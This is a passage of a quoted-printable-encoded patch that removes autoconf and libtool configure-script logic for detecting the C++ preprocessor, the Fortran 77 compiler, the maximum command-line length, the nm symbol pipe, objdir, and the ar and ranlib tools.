-ac_cpp=3D'$CXXCPP $CPPFLAGS' -ac_compile=3D'$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS con= ftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_cxx_compiler_gnu -echo "$as_me:$LINENO: checking how to run the C++ preprocessor" >&5 -echo $ECHO_N "checking how to run the C++ preprocessor... $ECHO_C" >&6 -if test -z "$CXXCPP"; then - if test "${ac_cv_prog_CXXCPP+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - # Double quotes because CXXCPP needs to be expanded - for CXXCPP in "$CXX -E" "/lib/cpp" - do - ac_preproc_ok=3Dfalse -for ac_cxx_preproc_warn_flag in '' yes -do - # Use a header file that comes with gcc, so configuring glibc - # with a fresh cross-compiler works. - # Prefer to if __STDC__ is defined, since - # exists even on freestanding compilers. - # On the NeXT, cc -E runs the code through the compiler's parser, - # not just through cpp. "Syntax error" is here to catch this case. - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#ifdef __STDC__ -# include -#else -# include -#endif -=09=09 Syntax error -_ACEOF -if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 - (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } >/dev/null; then - if test -s conftest.err; then - ac_cpp_err=3D$ac_cxx_preproc_warn_flag - ac_cpp_err=3D$ac_cpp_err$ac_cxx_werror_flag - else - ac_cpp_err=3D - fi -else - ac_cpp_err=3Dyes -fi -if test -z "$ac_cpp_err"; then - : -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - # Broken: fails on valid input. -continue -fi -rm -f conftest.err conftest.$ac_ext - - # OK, works on sane cases. Now check whether non-existent headers - # can be detected and how. - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#include -_ACEOF -if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 - (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } >/dev/null; then - if test -s conftest.err; then - ac_cpp_err=3D$ac_cxx_preproc_warn_flag - ac_cpp_err=3D$ac_cpp_err$ac_cxx_werror_flag - else - ac_cpp_err=3D - fi -else - ac_cpp_err=3Dyes -fi -if test -z "$ac_cpp_err"; then - # Broken: success on invalid input. -continue -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - # Passes both tests. -ac_preproc_ok=3D: -break -fi -rm -f conftest.err conftest.$ac_ext - -done -# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. -rm -f conftest.err conftest.$ac_ext -if $ac_preproc_ok; then - break -fi - - done - ac_cv_prog_CXXCPP=3D$CXXCPP - -fi - CXXCPP=3D$ac_cv_prog_CXXCPP -else - ac_cv_prog_CXXCPP=3D$CXXCPP -fi -echo "$as_me:$LINENO: result: $CXXCPP" >&5 -echo "${ECHO_T}$CXXCPP" >&6 -ac_preproc_ok=3Dfalse -for ac_cxx_preproc_warn_flag in '' yes -do - # Use a header file that comes with gcc, so configuring glibc - # with a fresh cross-compiler works. - # Prefer to if __STDC__ is defined, since - # exists even on freestanding compilers. - # On the NeXT, cc -E runs the code through the compiler's parser, - # not just through cpp. "Syntax error" is here to catch this case. - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#ifdef __STDC__ -# include -#else -# include -#endif -=09=09 Syntax error -_ACEOF -if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 - (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } >/dev/null; then - if test -s conftest.err; then - ac_cpp_err=3D$ac_cxx_preproc_warn_flag - ac_cpp_err=3D$ac_cpp_err$ac_cxx_werror_flag - else - ac_cpp_err=3D - fi -else - ac_cpp_err=3Dyes -fi -if test -z "$ac_cpp_err"; then - : -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - # Broken: fails on valid input. -continue -fi -rm -f conftest.err conftest.$ac_ext - - # OK, works on sane cases. Now check whether non-existent headers - # can be detected and how. - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#include -_ACEOF -if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 - (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } >/dev/null; then - if test -s conftest.err; then - ac_cpp_err=3D$ac_cxx_preproc_warn_flag - ac_cpp_err=3D$ac_cpp_err$ac_cxx_werror_flag - else - ac_cpp_err=3D - fi -else - ac_cpp_err=3Dyes -fi -if test -z "$ac_cpp_err"; then - # Broken: success on invalid input. -continue -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - # Passes both tests. -ac_preproc_ok=3D: -break -fi -rm -f conftest.err conftest.$ac_ext - -done -# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. -rm -f conftest.err conftest.$ac_ext -if $ac_preproc_ok; then - : -else - { { echo "$as_me:$LINENO: error: C++ preprocessor \"$CXXCPP\" fails = sanity check -See \`config.log' for more details." >&5 -echo "$as_me: error: C++ preprocessor \"$CXXCPP\" fails sanity check -See \`config.log' for more details." >&2;} - { (exit 1); exit 1; }; } -fi - -ac_ext=3Dcc -ac_cpp=3D'$CXXCPP $CPPFLAGS' -ac_compile=3D'$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS con= ftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_cxx_compiler_gnu - - -ac_ext=3Df -ac_compile=3D'$F77 -c $FFLAGS conftest.$ac_ext >&5' -ac_link=3D'$F77 -o conftest$ac_exeext $FFLAGS $LDFLAGS conftest.$ac_ex= t $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_f77_compiler_gnu -if test -n "$ac_tool_prefix"; then - for ac_prog in g77 f77 xlf frt pgf77 fort77 fl32 af77 f90 xlf90 pgf9= 0 epcf90 f95 fort xlf95 ifc efc pgf95 lf95 gfortran - do - # Extract the first word of "$ac_tool_prefix$ac_prog", so it can b= e a program name with args. -set dummy $ac_tool_prefix$ac_prog; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_F77+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$F77"; then - ac_cv_prog_F77=3D"$F77" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_F77=3D"$ac_tool_prefix$ac_prog" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -F77=3D$ac_cv_prog_F77 -if test -n "$F77"; then - echo "$as_me:$LINENO: result: $F77" >&5 -echo "${ECHO_T}$F77" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - test -n "$F77" && break - done -fi -if test -z "$F77"; then - ac_ct_F77=3D$F77 - for ac_prog in g77 f77 xlf frt pgf77 fort77 fl32 af77 f90 xlf90 pgf9= 0 epcf90 f95 fort xlf95 ifc efc pgf95 lf95 gfortran -do - # Extract the first word of "$ac_prog", so it can be a program name = with args. -set dummy $ac_prog; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_ac_ct_F77+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$ac_ct_F77"; then - ac_cv_prog_ac_ct_F77=3D"$ac_ct_F77" # Let the user override the test= . -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_F77=3D"$ac_prog" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -ac_ct_F77=3D$ac_cv_prog_ac_ct_F77 -if test -n "$ac_ct_F77"; then - echo "$as_me:$LINENO: result: $ac_ct_F77" >&5 -echo "${ECHO_T}$ac_ct_F77" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - test -n "$ac_ct_F77" && break -done - - F77=3D$ac_ct_F77 -fi - - -# Provide some information about the compiler. -echo "$as_me:5229:" \ - "checking for Fortran 77 compiler version" >&5 -ac_compiler=3D`set X $ac_compile; echo $2` -{ (eval echo "$as_me:$LINENO: \"$ac_compiler --version &5\= "") >&5 - (eval $ac_compiler --version &5) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } -{ (eval echo "$as_me:$LINENO: \"$ac_compiler -v &5\"") >&5 - (eval $ac_compiler -v &5) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } -{ (eval echo "$as_me:$LINENO: \"$ac_compiler -V &5\"") >&5 - (eval $ac_compiler -V &5) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } -rm -f a.out - -# If we don't use `.F' as extension, the preprocessor is not run on th= e -# input file. (Note that this only needs to work for GNU compilers.) -ac_save_ext=3D$ac_ext -ac_ext=3DF -echo "$as_me:$LINENO: checking whether we are using the GNU Fortran 77= compiler" >&5 -echo $ECHO_N "checking whether we are using the GNU Fortran 77 compile= r... $ECHO_C" >&6 -if test "${ac_cv_f77_compiler_gnu+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF - program main -#ifndef __GNUC__ - choke me -#endif - - end -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_f77_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_compiler_gnu=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_compiler_gnu=3Dno -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext -ac_cv_f77_compiler_gnu=3D$ac_compiler_gnu - -fi -echo "$as_me:$LINENO: result: $ac_cv_f77_compiler_gnu" >&5 -echo "${ECHO_T}$ac_cv_f77_compiler_gnu" >&6 -ac_ext=3D$ac_save_ext -ac_test_FFLAGS=3D${FFLAGS+set} -ac_save_FFLAGS=3D$FFLAGS -FFLAGS=3D -echo "$as_me:$LINENO: checking whether $F77 accepts -g" >&5 -echo $ECHO_N "checking whether $F77 accepts -g... $ECHO_C" >&6 -if test "${ac_cv_prog_f77_g+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - FFLAGS=3D-g -cat >conftest.$ac_ext <<_ACEOF - program main - - end -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_f77_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_prog_f77_g=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_prog_f77_g=3Dno -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext - -fi -echo "$as_me:$LINENO: result: $ac_cv_prog_f77_g" >&5 -echo "${ECHO_T}$ac_cv_prog_f77_g" >&6 -if test "$ac_test_FFLAGS" =3D set; then - FFLAGS=3D$ac_save_FFLAGS -elif test $ac_cv_prog_f77_g =3D yes; then - if test "x$ac_cv_f77_compiler_gnu" =3D xyes; then - FFLAGS=3D"-g -O2" - else - FFLAGS=3D"-g" - fi -else - if test "x$ac_cv_f77_compiler_gnu" =3D xyes; then - FFLAGS=3D"-O2" - else - FFLAGS=3D - fi -fi - -G77=3D`test $ac_compiler_gnu =3D yes && echo yes` -ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu - - - -# Autoconf 2.13's AC_OBJEXT and AC_EXEEXT macros only works for C comp= ilers! - -# find the maximum length of command line arguments -echo "$as_me:$LINENO: checking the maximum length of command line argu= ments" >&5 -echo $ECHO_N "checking the maximum length of command line arguments...= $ECHO_C" >&6 -if test "${lt_cv_sys_max_cmd_len+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - i=3D0 - teststring=3D"ABCD" - - case $build_os in - msdosdjgpp*) - # On DJGPP, this test can blow up pretty badly due to problems in = libc - # (any single argument exceeding 2000 bytes causes a buffer overru= n - # during glob expansion). Even if it were fixed, the result of th= is - # check would be larger than it should be. - lt_cv_sys_max_cmd_len=3D12288; # 12K is about right - ;; - - gnu*) - # Under GNU Hurd, this test is not required because there is - # no limit to the length of command line arguments. - # Libtool will interpret -1 as no limit whatsoever - lt_cv_sys_max_cmd_len=3D-1; - ;; - - cygwin* | mingw*) - # On Win9x/ME, this test blows up -- it succeeds, but takes - # about 5 minutes as the teststring grows exponentially. - # Worse, since 9x/ME are not pre-emptively multitasking, - # you end up with a "frozen" computer, even though with patience - # the test eventually succeeds (with a max line length of 256k). - # Instead, let's just punt: use the minimum linelength reported by - # all of the supported platforms: 8192 (on NT/2K/XP). - lt_cv_sys_max_cmd_len=3D8192; - ;; - - amigaos*) - # On AmigaOS with pdksh, this test takes hours, literally. - # So we just punt and use a minimum line length of 8192. - lt_cv_sys_max_cmd_len=3D8192; - ;; - - netbsd* | freebsd* | openbsd* | darwin* ) - # This has been around since 386BSD, at least. Likely further. - if test -x /sbin/sysctl; then - lt_cv_sys_max_cmd_len=3D`/sbin/sysctl -n kern.argmax` - elif test -x /usr/sbin/sysctl; then - lt_cv_sys_max_cmd_len=3D`/usr/sbin/sysctl -n kern.argmax` - else - lt_cv_sys_max_cmd_len=3D65536 # usable default for *BSD - fi - # And add a safety zone - lt_cv_sys_max_cmd_len=3D`expr $lt_cv_sys_max_cmd_len \/ 4` - ;; - - *) - # If test is not a shell built-in, we'll probably end up computing= a - # maximum length that is only half of the actual maximum length, b= ut - # we can't tell. - SHELL=3D${SHELL-${CONFIG_SHELL-/bin/sh}} - while (test "X"`$SHELL $0 --fallback-echo "X$teststring" 2>/dev/nu= ll` \ -=09 =3D "XX$teststring") >/dev/null 2>&1 && -=09 new_result=3D`expr "X$teststring" : ".*" 2>&1` && -=09 lt_cv_sys_max_cmd_len=3D$new_result && -=09 test $i !=3D 17 # 1/2 MB should be enough - do - i=3D`expr $i + 1` - teststring=3D$teststring$teststring - done - teststring=3D - # Add a significant safety factor because C++ compilers can tack o= n massive - # amounts of additional arguments before passing them to the linke= r. - # It appears as though 1/2 is a usable value. - lt_cv_sys_max_cmd_len=3D`expr $lt_cv_sys_max_cmd_len \/ 2` - ;; - esac - -fi - -if test -n $lt_cv_sys_max_cmd_len ; then - echo "$as_me:$LINENO: result: $lt_cv_sys_max_cmd_len" >&5 -echo "${ECHO_T}$lt_cv_sys_max_cmd_len" >&6 -else - echo "$as_me:$LINENO: result: none" >&5 -echo "${ECHO_T}none" >&6 -fi - - - - -# Check for command to grab the raw symbol name followed by C symbol f= rom nm. -echo "$as_me:$LINENO: checking command to parse $NM output from $compi= ler object" >&5 -echo $ECHO_N "checking command to parse $NM output from $compiler obje= ct... $ECHO_C" >&6 -if test "${lt_cv_sys_global_symbol_pipe+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - -# These are sane defaults that work on at least a few old systems. -# [They come from Ultrix. What could be older than Ultrix?!! ;)] - -# Character class describing NM global symbol codes. -symcode=3D'[BCDEGRST]' - -# Regexp to match symbols that can be accessed directly from C. -sympat=3D'\([_A-Za-z][_A-Za-z0-9]*\)' - -# Transform the above into a raw symbol and a C symbol. -symxfrm=3D'\1 \2\3 \3' - -# Transform an extracted symbol line into a proper C declaration -lt_cv_sys_global_symbol_to_cdecl=3D"sed -n -e 's/^. .* \(.*\)$/extern = int \1;/p'" - -# Transform an extracted symbol line into symbol name and symbol addre= ss -lt_cv_sys_global_symbol_to_c_name_address=3D"sed -n -e 's/^: \([^ ]*\)= $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([^ ]*\) \([^ ]*\)$/= {\"\2\", (lt_ptr) \&\2},/p'" - -# Define system-specific variables. -case $host_os in -aix*) - symcode=3D'[BCDT]' - ;; -cygwin* | mingw* | pw32*) - symcode=3D'[ABCDGISTW]' - ;; -hpux*) # Its linker distinguishes data from code symbols - if test "$host_cpu" =3D ia64; then - symcode=3D'[ABCDEGRST]' - fi - lt_cv_sys_global_symbol_to_cdecl=3D"sed -n -e 's/^T .* \(.*\)$/exter= n int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'" - lt_cv_sys_global_symbol_to_c_name_address=3D"sed -n -e 's/^: \([^ ]*= \) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\= )$/ {\"\2\", (lt_ptr) \&\2},/p'" - ;; -irix* | nonstopux*) - symcode=3D'[BCDEGRST]' - ;; -osf*) - symcode=3D'[BCDEGQRST]' - ;; -solaris* | sysv5*) - symcode=3D'[BDRT]' - ;; -sysv4) - symcode=3D'[DFNSTU]' - ;; -esac - -# Handle CRLF in mingw tool chain -opt_cr=3D -case $build_os in -mingw*) - opt_cr=3D`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp - ;; -esac - -# If we're using GNU nm, then use its standard symbol codes. -case `$NM -V 2>&1` in -*GNU* | *'with BFD'*) - symcode=3D'[ABCDGIRSTW]' ;; -esac - -# Try without a prefix undercore, then with it. -for ac_symprfx in "" "_"; do - - # Write the raw and C identifiers. - lt_cv_sys_global_symbol_pipe=3D"sed -n -e 's/^.*[ =09]\($symcode$sym= code*\)[ =09][ =09]*\($ac_symprfx\)$sympat$opt_cr$/$symxfrm/p'" - - # Check to see that the pipe works correctly. - pipe_works=3Dno - - rm -f conftest* - cat > conftest.$ac_ext <&5 - (eval $ac_compile) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; then - # Now try to grab the symbols. - nlist=3Dconftest.nm - if { (eval echo "$as_me:$LINENO: \"$NM conftest.$ac_objext \| $lt_= cv_sys_global_symbol_pipe \> $nlist\"") >&5 - (eval $NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $n= list) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && test -s "$nlist"; then - # Try sorting and uniquifying the output. - if sort "$nlist" | uniq > "$nlist"T; then -=09mv -f "$nlist"T "$nlist" - else -=09rm -f "$nlist"T - fi - - # Make sure that we snagged all the symbols we need. - if grep ' nm_test_var$' "$nlist" >/dev/null; then -=09if grep ' nm_test_func$' "$nlist" >/dev/null; then -=09 cat < conftest.$ac_ext -#ifdef __cplusplus -extern "C" { -#endif - -EOF -=09 # Now generate the symbol file. -=09 eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v ma= in >> conftest.$ac_ext' - -=09 cat <> conftest.$ac_ext -#if defined (__STDC__) && __STDC__ -# define lt_ptr_t void * -#else -# define lt_ptr_t char * -# define const -#endif - -/* The mapping between symbol names and symbols. */ -const struct { - const char *name; - lt_ptr_t address; -} -lt_preloaded_symbols[] =3D -{ -EOF -=09 $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \= &\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext -=09 cat <<\EOF >> conftest.$ac_ext - {0, (lt_ptr_t) 0} -}; - -#ifdef __cplusplus -} -#endif -EOF -=09 # Now try linking the two files. -=09 mv conftest.$ac_objext conftstm.$ac_objext -=09 lt_save_LIBS=3D"$LIBS" -=09 lt_save_CFLAGS=3D"$CFLAGS" -=09 LIBS=3D"conftstm.$ac_objext" -=09 CFLAGS=3D"$CFLAGS$lt_prog_compiler_no_builtin_flag" -=09 if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && test -s conftest${ac_exeext}; then -=09 pipe_works=3Dyes -=09 fi -=09 LIBS=3D"$lt_save_LIBS" -=09 CFLAGS=3D"$lt_save_CFLAGS" -=09else -=09 echo "cannot find nm_test_func in $nlist" >&5 -=09fi - else -=09echo "cannot find nm_test_var in $nlist" >&5 - fi - else - echo "cannot run $lt_cv_sys_global_symbol_pipe" >&5 - fi - else - echo "$progname: failed program was:" >&5 - cat conftest.$ac_ext >&5 - fi - rm -f conftest* conftst* - - # Do not use the global_symbol_pipe unless it works. - if test "$pipe_works" =3D yes; then - break - else - lt_cv_sys_global_symbol_pipe=3D - fi -done - -fi - -if test -z "$lt_cv_sys_global_symbol_pipe"; then - lt_cv_sys_global_symbol_to_cdecl=3D -fi -if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_c= decl"; then - echo "$as_me:$LINENO: result: failed" >&5 -echo "${ECHO_T}failed" >&6 -else - echo "$as_me:$LINENO: result: ok" >&5 -echo "${ECHO_T}ok" >&6 -fi - -echo "$as_me:$LINENO: checking for objdir" >&5 -echo $ECHO_N "checking for objdir... $ECHO_C" >&6 -if test "${lt_cv_objdir+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - rm -f .libs 2>/dev/null -mkdir .libs 2>/dev/null -if test -d .libs; then - lt_cv_objdir=3D.libs -else - # MS-DOS does not allow filenames that begin with a dot. - lt_cv_objdir=3D_libs -fi -rmdir .libs 2>/dev/null -fi -echo "$as_me:$LINENO: result: $lt_cv_objdir" >&5 -echo "${ECHO_T}$lt_cv_objdir" >&6 -objdir=3D$lt_cv_objdir - - - - - -case $host_os in -aix3*) - # AIX sometimes has problems with the GCC collect2 program. For som= e - # reason, if we set the COLLECT_NAMES environment variable, the prob= lems - # vanish in a puff of smoke. - if test "X${COLLECT_NAMES+set}" !=3D Xset; then - COLLECT_NAMES=3D - export COLLECT_NAMES - fi - ;; -esac - -# Sed substitution that helps us do robust quoting. It backslashifies -# metacharacters that are still active within double-quoted strings. -Xsed=3D'sed -e s/^X//' -sed_quote_subst=3D's/\([\\"\\`$\\\\]\)/\\\1/g' - -# Same as above, but do not quote variable references. -double_quote_subst=3D's/\([\\"\\`\\\\]\)/\\\1/g' - -# Sed substitution to delay expansion of an escaped shell variable in = a -# double_quote_subst'ed string. -delay_variable_subst=3D's/\\\\\\\\\\\$/\\\\\\$/g' - -# Sed substitution to avoid accidental globbing in evaled expressions -no_glob_subst=3D's/\*/\\\*/g' - -# Constants: -rm=3D"rm -f" - -# Global variables: -default_ofile=3Dlibtool -can_build_shared=3Dyes - -# All known linkers require a `.a' archive for static linking (except = M$VC, -# which needs '.lib'). -libext=3Da -ltmain=3D"$ac_aux_dir/ltmain.sh" -ofile=3D"$default_ofile" -with_gnu_ld=3D"$lt_cv_prog_gnu_ld" - -if test -n "$ac_tool_prefix"; then - # Extract the first word of "${ac_tool_prefix}ar", so it can be a pr= ogram name with args. -set dummy ${ac_tool_prefix}ar; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_AR+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$AR"; then - ac_cv_prog_AR=3D"$AR" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_AR=3D"${ac_tool_prefix}ar" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -AR=3D$ac_cv_prog_AR -if test -n "$AR"; then - echo "$as_me:$LINENO: result: $AR" >&5 -echo "${ECHO_T}$AR" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - -fi -if test -z "$ac_cv_prog_AR"; then - ac_ct_AR=3D$AR - # Extract the first word of "ar", so it can be a program name with a= rgs. -set dummy ar; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_ac_ct_AR+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$ac_ct_AR"; then - ac_cv_prog_ac_ct_AR=3D"$ac_ct_AR" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_AR=3D"ar" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - - test -z "$ac_cv_prog_ac_ct_AR" && ac_cv_prog_ac_ct_AR=3D"false" -fi -fi -ac_ct_AR=3D$ac_cv_prog_ac_ct_AR -if test -n "$ac_ct_AR"; then - echo "$as_me:$LINENO: result: $ac_ct_AR" >&5 -echo "${ECHO_T}$ac_ct_AR" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - AR=3D$ac_ct_AR -else - AR=3D"$ac_cv_prog_AR" -fi - -if test -n "$ac_tool_prefix"; then - # Extract the first word of "${ac_tool_prefix}ranlib", so it can be = a program name with args. -set dummy ${ac_tool_prefix}ranlib; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_RANLIB+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$RANLIB"; then - 